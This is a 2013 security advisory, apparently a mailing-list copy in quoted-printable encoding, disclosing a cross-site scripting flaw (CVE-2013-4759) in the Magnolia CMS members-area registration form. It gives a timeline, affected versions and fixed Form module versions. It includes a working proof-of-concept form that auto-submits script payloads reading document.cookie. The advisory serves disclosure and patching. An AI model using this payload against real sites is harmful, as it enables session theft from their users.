Advisory ID: HTB23163
Product: Magnolia CMS
Vendor: Magnolia International Ltd
Vulnerable Version(s): 4.5.7, 4.5.8, 4.5.9, 5.0 and 5.0.1 Community Edition
Tested Version: 5.0 Community Edition
Vendor Notification: July 3, 2013=20
Vendor Patch: July 18, 2013=20
Public Disclosure: July 24, 2013=20
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2013-4759
Risk Level: Medium=20
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://w=
ww.htbridge.com/advisory/ )=20
---------------------------------------------------------------------------=
--------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered XSS vulnerability in Magn=
olia CMS, which can be exploited to perform Cross-Site Scripting attacks ag=
ainst users of vulnerable application.
1) Cross-Site Scripting (XSS) in Magnolia CMS: CVE-2013-4759
The vulnerability exists due to insufficient sanitisation of user-supplied =
data in "username", "fullname" and "email" HTTP POST parameters passed to "=
/magnoliaPublic/demo-project/members-area/registration.html" URL.
A remote attacker can trick victim to open a specially crafted link and exe=
cute arbitrary HTML and scripting code in his browser in context of the vul=
nerable website.
The exploitation example below uses the "alert()" JavaScript function to di=
splay user's cookies:
<form action=3D"http://[host]/magnoliaPublic/demo-project/members-area/regi=
stration.html" method=3D"post" name=3D"main">
<input type=3D"hidden" name=3D"mgnlModelExecutionUUID" value=3D"8417fe0e-8=
f61-4d21-bdf1-c9c23b13ba14">
<input type=3D"hidden" name=3D"password" value=3D'password'>
<input type=3D"hidden" name=3D"passwordConfirmation" value=3D'password'>
<input type=3D"hidden" name=3D"username" value=3D'"><script>alert(document=
=2Ecookie);</script>'>
<input type=3D"hidden" name=3D"fullName" value=3D'"><script>alert(document=
=2Ecookie);</script>'>
<input type=3D"hidden" name=3D"email" value=3D'"><script>alert(document.co=
okie);</script>'>
<input type=3D"submit" id=3D"btn">
</form>
<script>
document.main.submit();
</script>
---------------------------------------------------------------------------=
--------------------
Solution:
The vulnerability and fix are described in the MGNLFORM-183 issue (1).=20
The hot fix for the vulnerability have been distributed to all clients and =
fix has been also made publicly available in Magnolia Form module version 1=
=2E4.7 (for Magnolia 4.5.x branch) and 2.0.2 (for Magnolia 5.x branch). Any=
one using affected version of Magnolia can download and update their instal=
lation of Magnolia with above mentioned version of Form module from (2) and=
(3) respectively:
(1) http://jira.magnolia-cms.com/browse/MGNLFORM-183
(2) http://nexus.magnolia-cms.com/content/repositories/magnolia.public.rele=
ases/info/magnolia/magnolia-module-form/1.4.7/
(3) http://nexus.magnolia-cms.com/content/repositories/magnolia.public.rele=
ases/info/magnolia/magnolia-module-form/2.0.2/
---------------------------------------------------------------------------=
--------------------
References:
[1] High-Tech Bridge Advisory HTB23163 - https://www.htbridge.com/advisory/=
HTB23163 - Cross-Site Scripting (XSS) in Magnolia CMS.
[2] Magnolia CMS - http://www.magnolia-cms.com/ - Magnolia CMS is an open s=
ource Java content management system for the enterprise.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - in=
ternational in scope and free for public use, CVE=C2=AE is a dictionary of =
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to =
developers and security practitioners, CWE is a formal list of software wea=
kness types.=20
---------------------------------------------------------------------------=
--------------------
Disclaimer: The information provided in this Advisory is provided "as is" a=
nd without any warranty of any kind. Details of this Advisory may be update=
d in order to provide as accurate information as possible. The latest versi=
on of the Advisory is available on web page [1] in the References.